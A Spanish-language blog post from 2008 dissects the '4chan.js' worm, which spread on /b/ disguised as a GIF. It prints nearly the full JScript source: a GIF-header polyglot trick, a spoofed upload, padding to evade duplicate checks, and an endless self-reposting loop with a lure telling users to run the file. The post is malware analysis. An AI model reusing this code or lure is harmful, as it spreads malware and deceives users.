h1

Analizando troyanetes: 4chan.js

26 \26UTC agosto \26UTC 2008

Hace tiempo que no recurro a este pasatiempo: El análisis vírico.

Pues sí. Tengo por ahí una fascinante colección de virus, troyanos, gusanos y demás para destripar en mi tiempo libre y recordar viejos tiempos. Entre ellos tengo el mítico I Love You, el Melissa, un tal Israfel, el Nimda, el SirCam, el Chernobyl… y mi última adquisición es este, uno que la gente conoce popularmente como 4chan.js

¿De dónde ha salido? Su nombre ya dice bastante, es un script para Windows escrito en JScript, y su radio de acción abarca un imageboard de 4chan. El más controvertido de todos, por cierto: /b/

Ahora que han solucionado el problema, puedo colgar el código y analizarlo sin miedo a que se propague. Realmente, la forma de actuar era sencilla. El atacante subía este archivo con extensión .GIF. Se valía de un método que describiré ahora para pasar por alto la detección del tipo de imagen, luego incluía un comentario del tipo “Guarda esta imagen como .js, ejecútalo y cágate en Pedrín”.

Claro, la gente es tonta y lo hace. Así funciona la cosa.

Así que, empecemos el análisis. Como dije antes, el archivo pasaba desapercibido como una imagen GIF real. ¿Por qué? Veamos la primera línea del archivo:

GIF89a                          =0;

El troyanete se aprovecha de que el número mágico de los archivos GIF (GIF89a en este caso) es puro texto plano, así que lo usa como una variable que iguala a cero. El intérprete de JSCript lo entiende. 4chan lo entiende. Todo funciona y el troyanete sigue adelante.

Las siguientes líneas se corresponden con una serie de funciones que simplifican el trabajo del troyano. La primera que vemos es la función field:

// Simulates POST data from a field in the HTML posting form.
function field (fieldname, content, boundary) {
    return "--" + boundary + "\r\n"
        + "Content-Disposition: form-data; name=\"" + fieldname + "\"\r\n\r\n"
        + content + "\r\n";
}

Que se encarga, como nos dice el comentario, de simular un campo de formulario en la petición HTTP. Tenemos que recordar que se trata de un envío tipo POST, por lo que cada campo aparece por separado (mediante un separador o boundary que se define del lado del cliente) en el cuerpo de la petición.

La siguiente función es filefield, cuyo cometido es simular el contenido de un fichero enviado por un formulario HTML. Esto es lo que usará el troyano para subirse al servidor:

// Simulates POST data from the file field.
function filefield (fieldname, filename, type, content, boundary) {
    return "--" + boundary + "\r\n"
        + "Content-Disposition: form-data; name=\"" + fieldname + "\"; "
        + "filename=\"" + filename + "\"" + "\r\n"
        + "Content-Type: " + type + "\r\n\r\n"
        + content + "\r\n";
}

Nótese que tiene que falsificar el tipo MIME, pues si se recibiese algo como “text/javascript” o “application/x-javascript”, el servidor lo rechazaría de pleno y no podría replicarse. Siendo “image/gif” hacemos más fácil que el servidor se lo crea. Finalmente, el contenido es pegado después de las cabeceras sin ningún problema.

Otra función que aparece es randomstring, cuyo cometido no es más que generar una cadena de caracteres alfanuméricos aleatoria de tamaño fijo:

// Creates a random alphanumeric string.
function randomstring (length) {
    var choices = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
    var str = "";
    for (var i = 0; i < length; i++) {
        str = str + choices.charAt( Math.floor(Math.random()*choices.length) );
    }
    return str;
}

La siguiente función, post hace uso de las dos anteriores para construir el cuerpo de la petición POST, con todos los campos, listo para subir el troyano a 4chan.

// Posts "image" to thread with comment.
function post (thread, image, comment) {
    var request = WSH.createObject("Msxml2.XMLHTTP");
    request.open("post", "http://dat.4chan.org/b/imgboard.php", 0);
 
    // Set headers
    var bdry = randomstring(20);
    request.setRequestHeader( "Referer", "http://img.4chan.org/b/res/" + thread + ".html" );
    request.setRequestHeader( "Content-Type", "multipart/form-data; boundary=" + bdry );
 
    // Send post
    request.send(
      field("MAX_FILE_SIZE", "2097152", bdry)
      + field("resto", thread, bdry)
      + field("name", "", bdry)
      + field("email", "", bdry)
      + field("sub", "", bdry)
      + field("com", comment, bdry)
      + filefield("upfile", "lol.gif", "image/gif", image, bdry)
      + field("pwd", randomstring(8), bdry)
      + field("mode", "regist", bdry)
      + "--" + bdry + "--\r\n"
    );
}

Fijémonos atentamente en este detalle:

var request = WSH.createObject("Msxml2.XMLHTTP");

Esto, para quienes no sepan como va, es la instancia de un objeto muy famoso de JavaScript. Su fama se debe a que es la base de una tecnología de moda, AJAX, el objeto XMLHttpRequest (que Microsoft, como no, le encanta darle su propio nombre: MSXML2, XMLHTTP).

¿Qué tiene de especial? Pues gracias a esto, podemos hacer peticiones HTTP de fondo. O dicho de otro modo, abrir páginas web sin abrir una ventana de navegador. Con lo cual, el troyano trabaja en las sombras, pero expandiéndose y replicándose como el cáncer que está matando a /b/.

Algunos detalles como la incialización de bdry con una cadena aleatoria, o el relleno del Referer con la URL de un post hacen que el troyano parezca “más humano”, un posteador original, vamos.

Otra función es getthread:

// Gets a thread number.
function getthread() {
    var request = WSH.createObject("Msxml2.XMLHTTP");
    request.open("get", "http://img.4chan.org/b/imgboard.html", 0);
    if (typeof getthread.modtime != "undefined") {
        request.setRequestHeader("If-Modified-Since", getthread.modtime);
    }
    request.send();
    getthread.modtime = request.getResponseHeader("Last-Modified");
    return request.responseText.match(/<span id="nothread(\d+)/)[1];
}

Esta función se encarga de bajarse la primera página del imageboard y buscar el identificador del primer post modificado desde la última vez que se replicó. Utiliza un truco muy interesante de los objetos de JScript (que es el de usar una función como objeto), evitando así replicarse demasiadas veces en el mismo post y colapsando /b/. Una medida inteligente, desde luego.

A partir de aquí, todo el código se encuentra en espacio global, lo que significa que es como si estuviese en el main () de un programa en C, que se ejecuta cuando se arranca el script. Esto es lo que hace al troyano funcionar:

// Get copy of this script
var fs = WSH.createObject("Scripting.FileSystemObject");
var thisfile = fs.openTextFile(WSH.scriptFullName);
var image = thisfile.readAll();
thisfile.close();

Oh, nuestro amigo Scripting.FileSystemObject. Una extensión para scripting de EXPLORER.EXE. Con este gran invento, cualquier script puede hacer de todo con los ficheros del ordenador. Crearlos, borrarlos, leerlos, editarlos… en este caso, lo usa más que nada para meter todo el código del troyano en una variable y subir el contenido de la misma al servidor (thisfile.readAll()). Una táctica que usaba el I Love You, a todo esto.

// Modify to get around duplicate image block
image = image.substr(0,image.length-20) + randomstring(20);

Esto sirve para que 4chan no detecte imágenes duplicadas. Es una cosa que yo hacía bastante, cuando quería replicar una imagen en el mismo post le añadía unos bytes al final para dar el pego. De hecho, se puede apreciar al final del código del troyano un comentario con unas cuantas letras al azar, para evitar esta protección.

Y finalmente:

// Post it over and over
var comment = "1. Open this image (you'll see an error message).\r\n2. Save it as 4chan.js\r\n3. Open the file you just saved.\r\n4. ???\r\n5. Shit bricks.";
for(;;) {
    try {
        var thread = getthread();
        post(thread, image, comment);
        WSH.Sleep( 45000 + Math.floor(30000 * Math.random()) );
    } catch(e) {}
}

Sube el código del troyano, espera un tiempo indeterminado entre 45 y 45 + 30 = 75 segundos, y lo vuelve a subir. Todo esto sin que el usuario se percate de nada, claro, trabajando de fondo; haciendo difícil la solución del problema. Qué digo, haciendo difícil conocer la existencia de un problema.

Y luego, la firmita:

// dukRvuHU624UYbpVogux

Que, como dijimos antes, no es más que un truco para evitar el tema de las imágenes repetidas.

Un troyano ingenioso, todo hay que decirlo. No hacía ningún daño (que podría hacerlo, claro, recordemos que usa FileSystemObject), pero era muy molesto. Ciertamente, de una congregación tan densa de personas como es 4chan, no era raro que esto acabase apareciendo. Incluso me parece extraño que este sea el primer caso.

Saludos

2 comentarios

  1. Interesantoso, realmente.


  2. hola, pues te agradeceria que me dijeses una solucion al problema, porque veras, directamente soy tonto y pense que era una imagen de verdad… si puede ser enviamela por correo por favor

    un saludo



Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

A %d blogueros les gusta esto: